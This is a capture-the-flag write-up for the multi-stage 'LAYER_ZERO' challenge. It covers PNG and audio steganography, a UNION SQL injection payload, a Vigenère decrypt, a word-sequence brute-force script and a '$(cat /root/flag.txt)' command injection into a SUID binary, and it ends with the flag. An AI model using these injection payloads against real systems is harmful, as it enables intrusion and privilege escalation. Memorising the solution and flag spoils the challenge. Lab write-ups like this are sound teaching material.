6a0877384d
- Remove undeployed challenges: Phantom_Byte, Cr4cK_w1f1, Lain_Br34kC0r3 V1, Lain_VS_Knights, Lets_All_Love_UART, AETHER_NET, Last_Train_451, Web3/ - Sync 24 solve/ files from main CTF-Espilon repo - Update all READMEs with real CTFd final scores at freeze - Add git-header.png banner - Rewrite README: scoreboard top 10, edition stats (1410 users, 264 boards, 1344 solves), correct freeze date March 26 2026
247 lines
6.6 KiB
Markdown
247 lines
6.6 KiB
Markdown
# LAYER_ZERO
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| Field | Value |
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|-------|-------|
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| Category | Misc |
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| Difficulty | Hard |
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| Points | 479 |
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| Author | espilon |
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| CTF | Espilon 2026 |
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---
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## Description
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*"No matter where you go, everyone's connected."*
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A signal has been detected deep in the AETHER_NET. The Knights of the Eastern Calculus
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sealed four channels when Eiri Masami ascended. Each holds a fragment of Protocol Seven.
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Connect to the Wired. Read the Layers. Unlock the channels.
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```
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nc espilon.net 1337
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```
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Channels sealed:
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- Layer 01 — CHANNEL_STATIC (she first connected in the static)
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- Layer 03 — CHANNEL_KNIGHTS (the Knights speak in code)
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- Layer 07 — CHANNEL_WIRED (she existed everywhere simultaneously)
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- Layer 13 — CHANNEL_EIRI (he broadcast from beyond the Wired)
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Difficulty: Hard | Multi-stage | Unique per instance
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---
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## TL;DR
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Four-stage multi-technique challenge: PNG filter-byte steganography (L01), SQL injection +
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Vigenère decryption (L03), state-machine sequence brute-force (L07), and echo-hiding
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audio steganography (L13). Collect four tokens, submit all to LAYER_GOD (port 6660), then
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exploit a SUID binary via command injection to read the flag.
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---
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## Tools
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| Tool | Purpose |
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|------|---------|
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| `nc` | All service connections |
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| Python 3 + zlib + struct | PNG steganography extraction |
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| `curl` | SQLi on CHANNEL_KNIGHTS |
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| Python 3 + itertools | State machine brute-force |
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| Python 3 + numpy | Echo hiding audio analysis |
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---
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## Channel Summary
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| Layer | Channel | Port | Technique |
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|-------|---------|------|-----------|
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| L01 | CHANNEL_STATIC | 4141/tcp | PNG filter-type steganography |
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| L03 | CHANNEL_KNIGHTS | 8080/tcp | SQL injection + Vigenère cipher |
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| L07 | CHANNEL_WIRED | 4242/tcp | State machine sequence brute-force |
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| L13 | CHANNEL_EIRI | 9001/tcp | Echo hiding audio steganography |
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| GOD | LAYER_GOD | 6660/tcp | Ritual submission + SUID exploit |
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---
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## Solution
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### Layer 01 — CHANNEL_STATIC (PNG steganography)
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The file `/home/lain/CHANNEL_STATIC/lain_signal.png` hides data in the **filter type byte**
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of each scanline in the raw IDAT stream.
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```python
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import struct, zlib
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with open("lain_signal.png", "rb") as f:
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data = f.read()
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# Collect IDAT chunks
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pos, idat = 8, b""
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while pos < len(data):
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length = struct.unpack(">I", data[pos:pos+4])[0]
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ctype = data[pos+4:pos+8]
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if ctype == b"IDAT":
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idat += data[pos+8:pos+8+length]
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pos += 12 + length
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raw = zlib.decompress(idat)
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row_size = 1 + 64 * 3 # 1 filter byte + 64 RGB pixels
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# First 24 filter bytes encode 3 ASCII chars (8 bits each)
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bits = [raw[i * row_size] for i in range(24)]
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decoded = "".join(chr(int("".join(map(str, bits[i*8:(i+1)*8])), 2)) for i in range(3))
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print(decoded)
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```
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Submit the decoded string:
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```text
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SUBMIT <decoded>
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```
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Server responds with token `L01:xxxxxxxxxx`.
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---
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### Layer 03 — CHANNEL_KNIGHTS (SQLi + Vigenère)
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UNION injection on the `/search?q=` endpoint:
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```text
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/search?q=' UNION SELECT id,alias,rank,access_code,status FROM members--
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```
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One member row has a Vigenère-encrypted access code. Decrypt with key `KUDARANAI`:
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```python
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def vigenere_decrypt(text, key):
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result, ki = [], 0
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for c in text.upper():
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if c.isalpha():
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shift = ord(key[ki % len(key)].upper()) - ord("A")
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result.append(chr((ord(c) - ord("A") - shift) % 26 + ord("A")))
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ki += 1
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else:
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result.append(c)
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return "".join(result)
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plaintext = vigenere_decrypt(encrypted_code, "KUDARANAI")
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```
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Submit: `/submit?code=<plaintext>`
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Server responds with token `L03:xxxxxxxxxx`.
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---
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### Layer 07 — CHANNEL_WIRED (state machine brute-force)
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The service expects a 4-word sequence. First two are fixed: `PRESENT_DAY`, `PRESENT_TIME`.
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Brute-force the last two:
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```python
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import socket, itertools
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WORD3 = ["NAVI_LAYER_07", "PROTOCOL_SEVEN", "WIRED_ACCESS",
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"KNIGHTS_CODE", "EIRI_SYSTEM", "DEUS_NODE"]
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WORD4 = ["CONNECT", "DESCEND", "MERGE", "ASCEND", "RESONATE", "DISSOLVE"]
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for w3, w4 in itertools.product(WORD3, WORD4):
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with socket.create_connection((<host>, 4242)) as s:
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s.sendall(b"PRESENT_DAY\n")
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s.sendall(b"PRESENT_TIME\n")
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s.sendall(f"{w3}\n".encode())
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s.sendall(f"{w4}\n".encode())
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resp = s.recv(1024).decode()
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if "L07:" in resp:
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print(f"Found: {w3} / {w4}")
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print(resp)
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break
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```
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---
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### Layer 13 — CHANNEL_EIRI (echo hiding)
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Stream 30 seconds of 16-bit mono PCM at 44100 Hz. Data is hidden via **echo hiding**:
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each 1024-sample segment has a 1-bit echo at delay D1=200 samples (bit=1) or D0=100 samples (bit=0).
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```python
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import numpy as np
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import socket
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HOST = "<host>"
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pcm_data = b""
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with socket.create_connection((HOST, 9001)) as s:
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while len(pcm_data) < 44100 * 30 * 2:
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chunk = s.recv(4096)
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if not chunk:
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break
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pcm_data += chunk
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samples = np.frombuffer(pcm_data, dtype="<i2").astype(float) / 32767.0
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SEG_SIZE, D0, D1 = 1024, 100, 200
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N_CHARS = 5
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bits = []
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for i in range(N_CHARS * 8):
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seg = samples[i * SEG_SIZE: (i + 1) * SEG_SIZE]
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ac = np.correlate(seg, seg, "full")
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mid = len(ac) // 2
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bits.append("1" if ac[mid + D1] > ac[mid + D0] else "0")
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code = "".join(chr(int("".join(bits[i*8:(i+1)*8]), 2)) for i in range(N_CHARS))
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print(code)
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```
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Submit the decoded code:
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```text
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SUBMIT <code>
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```
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Server responds with token `L13:xxxxxxxxxx`.
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---
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### LAYER_GOD — Ritual + SUID exploit
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Submit all four tokens:
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```bash
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nc <host> 6660
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```
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```text
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RITUAL L01:xxxxxxxxxx L03:xxxxxxxxxx L07:xxxxxxxxxx L13:xxxxxxxxxx
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```
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The SUID binary `/opt/protocol7/eiri_validator` is unlocked.
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Exploit via command injection — the binary calls `system()` with unsanitised input:
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```bash
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/opt/protocol7/eiri_validator
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$(cat /root/flag.txt)
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```
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---
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## Flag
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`ESPILON{kn1ghts_0f_th3_w1r3d_pr0t0c0l7}`
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